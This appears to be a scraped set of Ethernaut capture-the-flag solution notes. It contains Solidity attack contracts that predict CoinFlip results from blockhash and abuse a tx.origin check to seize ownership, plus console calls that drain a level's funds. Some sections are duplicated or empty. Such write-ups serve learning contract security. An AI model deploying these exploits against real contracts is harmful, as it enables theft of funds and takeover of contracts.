Question 1 - Logic / Bad coding Flaws

you can use this to call the contribute method:

contract.methods["contribute()"].sendTransaction({value: 2});

sendTransaction({ from: "0x111" , to: instance, value:1, data: web3.eth.abi.encodeFunctionSignature('contribute()')

for functions with params, data field can be created like so:

web3.eth.abi.encodeFunctionCall({ name: 'myMethod', type: 'function', inputs: [{ type: 'uint256', name: 'myNumber' },{ type: 'string', name: 'myString' }] }, ['2345675643', 'Hello!%']);

// Drain in console and click submit and done contract.withdraw();

Raw

Ethernaut - Q2.md

Question 2

// in console call contract.Fal1out

submit, and done

Raw

Ethernaut - Q29 Switch .md

Q29 Switch

Raw

Ethernaut - Q3.md

Q3

Deploy this on REMIX - Set ENV as metamask

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";

contract Target {
    function flip(bool _guess) public returns (bool){}   
}

contract AttackCoinflip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function guess() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        return side;
    }

    function attack(address target) public {
        Target tg = Target(target);
        tg.flip(guess());
    }
}

use remix and call function attack

call attack function and paste the instance smart contract address as parameter

do it 10 times and done!

Raw

Ethernaut - Q4 Telephone.md

Q4

this is about understanding tx.origin vs msg.sender() best practice is not to check tx.origin, but rather the msg.sender();

compose attack contract and deploy via remix

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

contract AttackTelephone {
    function attack(address tgt) public {

        Telephone target = Telephone(tgt);
        target.changeOwner(0xcf801268E6b45101cd974d1038b8986EDffE3D9F);
    }
}

call the attack function and paste the level instance smart contract address into it.

as above

Raw

Ethernaut - Q4.md

Q4

Deploy this on REMIX - Set ENV as metamask

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";

contract Target {
    function flip(bool _guess) public returns (bool){}   
}

contract AttackCoinflip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function guess() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        return side;
    }

    function attack(address target) public {
        Target tg = Target(target);
        tg.flip(guess());
    }
}

use remix and call function attack

call attack function and paste the instance smart contract address as parameter

do it 10 times and done!

alcedo/Ethernaut - Q1.md

Question 1 - Logic / Bad coding Flaws

Question 2

Q29 Switch

Q3

Deploy this on REMIX - Set ENV as metamask

use remix and call function attack

Q4

compose attack contract and deploy via remix

call the attack function and paste the level instance smart contract address into it.

Q4

Deploy this on REMIX - Set ENV as metamask

use remix and call function attack